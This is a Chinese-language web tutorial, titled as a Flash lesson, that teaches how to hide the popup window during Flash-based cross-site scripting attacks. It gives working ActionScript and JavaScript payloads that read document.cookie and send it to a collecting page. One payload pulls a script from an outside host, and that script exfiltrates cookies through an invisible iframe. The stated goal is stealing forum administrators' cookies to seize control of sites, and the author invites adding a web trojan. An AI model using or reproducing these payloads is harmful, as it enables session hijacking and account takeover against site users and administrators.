防止Flash跨站攻擊彈出IE窗口_Flash教程
推薦:Flash特效動畫制作:飛舞的螺炫今天和廣大的FLASH制作愛好者共享是一種特炫的螺旋動畫效果,讓我們先來看一下最終的效果吧!點擊這里下載源文件下面讓我們一起來學習這個Flash螺旋特效動畫的
前些天一直忙著學習WIN32匯編,一直懶得寫文章,這些天來似乎Flash跨站攻擊鬧的挺兇的,但在實施Flash跨站攻擊時的那個彈出的IE窗口很輕易引起別人的懷疑,而使得Flash跨站攻擊失敗,這的確讓人多少有點頭疼,大家是不是也一直在尋找實施Flash跨站攻擊時不彈出IE窗口的方法來隱藏自己的攻擊行為呢?下面大家和我一起來解決這個不大不小的問題,讓Flash跨站攻擊更完美吧!一般來說大家在進行Flash跨站攻擊時都是自己做一個Flash動畫,并在第一幀中加入用于跳轉到其他URL的AtionScript腳本函數,如下:
getURL("BLOCKED SCRIPTwindow.open(’http://用于收集Cookie的網頁地址?’ document cookie)","_self") 然后把這個Flash動畫置于論壇中的簽名、貼子或短信消息中,用來獲得治理員或用戶的Cookie,從而得到治理權限,進一步伺機控制整個站點,最終達到自己的目的。我們可以看到在整個跨站攻擊中最重要的就是這個AtionScript腳本啦!也就是這個腳本中用到的代碼打開了一個我們又愛又恨的窗口,所以我們也只能從改造這個腳本代碼來實現隱藏或者是去掉彈出的IE窗口,除此外別無它法!
我們先分析一下上面的AtionScript腳本,它使用AtionScript腳本函數"getURL"跳轉到一個使用JavaScript協議的URL(JavaScript協議后面就是我們非常熟悉的JavaScript腳本代碼),在JavaScript中使用document.cookie的到Cookie,并把Cookie和一個用于收集Cookie的網頁地址連成一個http協議的URL地址,最后使用window.open打開合成的URL地址,從而把Cookie用GET方式發送到用于收集Cookie的網頁,并記錄下來。
通過上面的分析我們進一步了解那個彈出的IE窗口是由于JavaScript協議中的代碼window.open所生成的,相信大家都知道window.open的第二個參數用來指定打開的窗口的名字,其通用名稱有"_media (IE6.0 在瀏覽器左邊的媒體面板內打開)"、"_blank (在新窗口中打開)"、"_parent (在當前框架的父框架內打開。假如當前框架無父框架,此參數值等同于 _self)"、"_search (IE5.0 在瀏覽器左邊的搜索面板內打開)"、"_self(在當前窗口中打開,覆蓋當前文檔)"、"_top (在所有框架之外的最頂層窗口中打開 。假如當前窗口無框架結構,此參數值等同于 _self )"等幾種,假如我們以"_search"來打開窗口,不是就沒有了彈出的IE窗口了嗎?AtionScript腳本改為:
getURL("BLOCKED SCRIPTwindow.open(’http://用于收集Cookie的網頁地址?’ document cookie,’_search’)","_self")
當然,這樣做會打開搜索面板,也會引起懷疑,但卻可以躲過那些關閉彈出窗口軟件的追殺!姑且也算一種方法吧!
假如僅僅是上面所說的,相信不少讀者要把我。。。。。。
看到這里聰明的你是不是想到了點解決的思路?對!既然支持JavaScript啦,還有啥東東會不能解決呢?JavaScript真的是好處多多呀!
假如你曾看了我的那篇"打造一個完美的IE網頁木馬"的文章,并且你對其中的代碼深深理解的話,你可以自己先去想象一下啦!
在那篇文章中有下面這樣一段代碼:
window.open("file:BLOCKED SCRIPTdocument.all.tags(’SCRIPT’)[0].src=’" jsurl "’;eval();","icyfoxlovelace");
使用了javascript協議把自己網站上的一個js代碼文件插入到了本地文件中,同樣的道理我們也可以用它把一個js代碼文件插入到進行跨站攻擊的論壇網頁中,相應的AtionScript腳本改為:
getURL("BLOCKED SCRIPTdocument.all.tags(’SCRIPT’)[0].src=’http:\/\/www.godog.y365.com\/wodemuma\/icyfox.js’;eval();","_self")其中icyfox.js得內容如下:
cookieurl="http://用于收集Cookie的網頁地址?cookie=" escape(document.cookie);/*這里使用了escape()對cookie編碼,用來防止cookie中的一些非凡字符*/
document.body.insertAdjacentHTML('beforeEnd','<iframe WIDTH=0px HEIGHT=0px style="display:none;" src="' cookieurl '"><\/iframe>');
/*這里使用了insertAdjacentHTML在body的最后插入了一個不可見的框架*/
這里主要是利用了可以在一個網頁中引入不同域中的javascript代碼文檔,而且所引入的javascript代碼文檔會和本網頁融為一體的特點!
好啦!至此Flash跨站攻擊彈出IE窗口的問題算是解決啦!當然假如你愿意,在icyfox.js中加個網頁木馬之類的我也無話可說!
最后我再順便說一句,它同樣可以用于在其他類型的跨站腳本功擊中隱藏彈出的IE窗口!比起利用Microsoft.XMLHTTP控件發送COOKIE要隨意的多,因為它不會像Microsoft.XMLHTTP控件那樣只能發給當前服務器,還有焦點上czy的"利用Microsoft.XMLHTTP控件發送COOKIE"一文中提到這樣一句話:
"以前我想了一個在網頁中用insertAdjacentHTML方法來注入HTML語句的辦法勉強可以作到發送COOKIE不出現IE窗口,但是在實際使用中有時會碰到IE出錯。"
具我分析是因為在COOKIE中存在了一些非凡字符,而czy沒有正確處理或是編碼,才會在實際使用中有時會碰到IE出錯,所以上面代碼我用了escape()對cookie編碼,在接受到cookie后請注重用unescape()來解碼!
分享:Flash高級技巧之使用setTimeout在Flash8中有個函數是在幫助文檔中沒有的﹐也不知道是刻意還是疏忽﹐最近有人提起才想到。而這個setTimeout函數就類似于我們常用的setInterval可指定延遲時間
- 相關鏈接:
- 教程說明:
Flash教程-防止Flash跨站攻擊彈出IE窗口
。